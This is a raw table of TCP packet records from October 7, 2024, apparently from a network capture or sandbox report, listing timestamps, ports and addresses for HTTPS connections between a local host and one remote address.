Oct 7, 2024 13:26:53.279596090 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.280065060 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.280069113 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.382502079 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.382626057 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.382715940 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.382920980 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.382942915 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.382952929 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.382958889 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.386137962 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.386185884 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.386269093 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.386441946 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.386454105 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.497292042 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.498033047 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.498075962 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.498528004 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.498545885 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.814953089 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.814990044 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.815103054 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.815118074 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.815140009 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.815182924 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.823493958 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.823508024 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.823545933 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.823551893 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.826899052 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.826941967 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.827038050 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.827173948 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.827188015 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.006347895 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.009622097 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.023447990 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.027175903 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.027198076 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.027666092 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.027672052 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.027901888 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.027919054 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.028238058 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.028245926 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.028431892 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.028464079 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.028763056 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.028769016 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.124120951 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.124313116 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.124387026 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.128026009 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.128310919 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.128369093 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.132174969 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.132191896 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.132205009 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.132210016 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.134264946 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.134284973 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.150927067 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.150959015 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.151020050 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.151686907 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.151698112 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.163197041 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.163223982 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.163295031 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.163562059 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.163577080 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.196279049 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.210217953 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.210333109 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.211412907 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.211448908 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.211464882 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.211472988 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.230175018 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.230221987 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.230314016 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.231348991 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.231364965 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.245579958 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.246436119 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.246469975 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.246951103 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.246957064 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.350374937 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.350539923 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.350624084 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.350862980 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.350879908 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.350888968 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.350893974 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.354410887 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.354438066 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.354531050 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.354707003 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.354717970 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.497359037 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.498038054 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.498054981 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.498574018 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.498578072 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.602202892 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.602240086 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.602349997 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.602360010 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.602391958 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.602437973 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.602746010 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.602762938 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.602772951 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.602778912 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.606594086 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.606637955 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.606714010 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.606863976 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.606875896 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.799201012 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.799712896 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.799730062 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.800195932 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.800200939 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.864856005 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.865662098 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.865691900 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.866161108 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.866173983 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.900438070 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.900649071 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.900697947 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.900708914 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.900757074 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.900804043 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.900841951 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.900852919 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.900863886 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.900871038 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.904578924 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.904627085 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:54.904712915 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.904920101 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:54.904932022 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.004869938 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.005498886 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.005515099 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.005991936 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.005997896 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.078531027 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.078699112 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.078763008 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.078907013 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.078934908 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.078953028 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.078962088 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.082309008 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.082367897 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.082429886 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.082648039 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.082667112 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.106204033 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.106286049 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.106364012 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.106511116 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.106525898 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.106553078 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.106558084 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.109726906 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.109765053 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.109831095 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.109998941 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.110011101 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.148217916 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.148780107 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.148808956 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.149291039 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.149296999 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.245743036 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.246437073 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.246471882 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.247071981 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.247078896 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.322808981 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.322963953 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.323038101 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.323219061 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.323266983 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.323293924 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.323309898 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.327451944 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.327491045 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.327552080 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.328490019 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.328502893 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.343159914 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.343255997 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.343316078 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.343462944 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.343480110 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.343494892 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.343501091 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.346487999 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.346528053 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.346590996 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.346781969 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.346791983 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.596569061 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.597193956 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.597222090 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.597697973 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.597707033 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.701647997 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.701678991 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.701752901 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.701791048 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.701823950 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.702122927 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.702146053 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.702157974 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.702164888 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.705554008 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.705599070 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.705704927 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.705899000 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.705912113 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.746383905 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.747035027 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.747070074 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.747550964 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.747559071 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.749372959 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.749712944 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.749751091 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.750066996 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.750072956 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.859014034 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.859055042 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.859107018 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.859164000 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.859194040 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.859500885 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.859522104 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.859534979 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.859540939 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.860913038 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.860977888 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.861036062 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.861144066 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.861170053 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.861185074 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.861191988 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.862958908 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.862998009 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.863082886 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.863174915 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.863185883 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.863239050 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.863255978 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.863271952 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.863431931 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.863442898 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.970871925 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.972255945 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.972321033 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.973001957 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.973007917 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.987935066 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.988528967 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.988550901 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:55.989017010 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:55.989026070 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.071268082 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.071453094 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.071511030 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.071647882 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.071667910 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.071677923 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.071682930 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.075352907 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.075402021 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.075462103 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.075620890 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.075634956 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.087346077 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.087608099 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.087677956 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.087743998 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.087743998 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.087779045 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.087802887 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.091660976 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.091722965 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.091809034 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.092000961 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.092020035 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.341010094 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.341617107 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.341698885 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.342118025 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.342123032 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.440205097 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.440360069 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.440437078 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.440623045 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.440643072 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.440653086 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.440659046 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.443959951 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.444010019 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.444114923 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.444283962 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.444304943 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.523880959 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.524432898 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.524456978 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.525051117 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.525058031 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.530807018 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.531203985 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.531223059 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.531604052 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.531610966 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.629666090 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.629740953 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.629827023 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.630053043 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.630075932 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.630095005 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:56.630100965 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:56.637042999 CEST	443	49854	13.107.246.60	192.168.2.5
